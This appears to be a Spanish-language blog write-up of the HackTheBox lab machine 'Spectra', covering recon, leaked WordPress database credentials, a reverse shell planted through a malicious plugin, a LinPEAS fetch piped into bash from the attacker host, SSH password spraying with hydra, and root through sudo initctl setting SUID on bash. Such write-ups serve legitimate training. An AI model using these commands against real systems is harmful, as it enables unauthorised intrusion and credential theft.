Post

HackTheBox - Spectra

Máquina Linux de nivel Easy de HackTheBox.

Técnicas usadas: Information Leakage, Wordpress, Binary Abusing

Fase de Reconocimiento 🧣

a. Enumeramos los puertos que están abiertos.

  • nmap -p- -sS -Pn -n <IP> -oG puertos

b. Vemos las versiones de los servicios que se están ejecutando en los puertos abiertos

  • nmap -p<Puertos> -sCV <IP> -oN versiones

Añadimos el host spectra.htb en el fichero /etc/hosts

c. Ahora, haremos un fuzzing de directorios

1
2
3
4
5
❯ wfuzz -c -t 100 --hc=404 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt  http://spectra.htb/FUZZ/

<SNIP>
000000063:   200        346 L    1460 W     25940 Ch    "main" 
000001458:   200        26 L     111 W      2514 Ch     "testing"
  • Al visitar este directorio, tendremos la capacidad de directory listing, aquí veremos un fichero wp-config.php.save y si vemos su código fuente encontramos credenciales.

    1
    2
    
      <SNIP>
      define( 'DB_PASSWORD', 'devteam01' );
    
  • En el directorio /main encontramos un Wordpress con un usuario

  • Nos autenticamos con este usuario y la contraseña, previamente encontrada, en Wordpress

d. Para entablarnos una reverse shell instalamos un nuevo plugin

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
cat backup.php

/**
* Plugin Name: Backup
* Plugin URI:
* Description: Backup
* Version: 1.0
* Author: Testing
* Author URI: http://www.testing.com
*/

# Copiamos el contenido de esta reverse shell
https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php

❯ zip backup.zip backup.php
  • Ahora, instalamos este plugin en Wordpress y luego de este paso, damos clic en ‘Activar Plugin’

  • Con todos los pasos anteriores ya tendremos una reverse shell

    1
    2
    3
    
      ❯ nc -lvnp 4444
      $ whoami
      nginx
    

Escalada de Privilegios 💹

a. Subiremos LinPEAS para descubrir ficheros de configuración o alguna forma de escalar privilegios

1
2
3
4
5
6
7
8
9
ls
linpeas.sh
❯ python -m http.server 80
----------------------------------------
nginx@spectra /tmp $ curl 10.10.14.18/linpeas.sh | bash

<SNIP>
╔══════════╣ Analyzing Autologin Files (limit 70)
drwxr-xr-x 2 root root 4096 Feb  3  2021 /etc/autologin
  • Si vamos a este directorio encontraremos una contraseña

    1
    2
    
      nginx@spectra /etc/autologin $ cat passwd 
      SummerHereWeCome!!
    
  • Tenemos varios usuarios en el sistema, así que haremos fuerza bruta con hydra

    1
    2
    3
    4
    5
    6
    7
    
    cat users
      chronos
      katie
      root
      user
      ❯ hydra -L users -p 'SummerHereWeCome!!' ssh://10.10.10.229 -t 4
      [22][ssh] host: 10.10.10.229   login: katie   password: SummerHereWeCome!!
    

b. Nos autenticamos en el servicio SSH y listamos nuestros privilegios a nivel de sudoers

1
2
3
katie@spectra ~ $ sudo -l
User katie may run the following commands on spectra:
    (ALL) SETENV: NOPASSWD: /sbin/initctl

/sbin/initctl se usa para gestionar servicios, eventos y su configuración. Esta configuración es almacenada en /etc/init

  • Listamos los servicio disponibles

    1
    2
    3
    
      katie@spectra ~ $ ls /etc/init
      activate_date.conf       cryptohome-update-userdataauth.conf   ippusb.conf        pre-shutdown.conf    test.conf
      anomaly-detector.conf    cryptohomed-client.conf               iptables.conf      pre-startup.conf     test2.conf
    
  • Modificamos alguno de estos para ejecutar un comando al iniciar un servicio

    1
    2
    3
    4
    5
    6
    
      katie@spectra ~ $ cat /etc/init/test2.conf
    
      <SNIP>
      script
          chmod +s /bin/bash
      end script
    
  • Por último, iniciamos este servicio y podremos acceder como root

    1
    2
    3
    4
    5
    6
    7
    
      katie@spectra ~ $ sudo /sbin/initctl start test2                                    
      test2 start/running, process 18269
      katie@spectra ~ $ ls -la /bin/bash   
      -rwsr-sr-x 1 root root 551984 Dec 22  2020 /bin/bash
      katie@spectra ~ $ bash -p            
      bash-4.3# whoami
      root
    
This post is licensed under CC BY 4.0 by the author.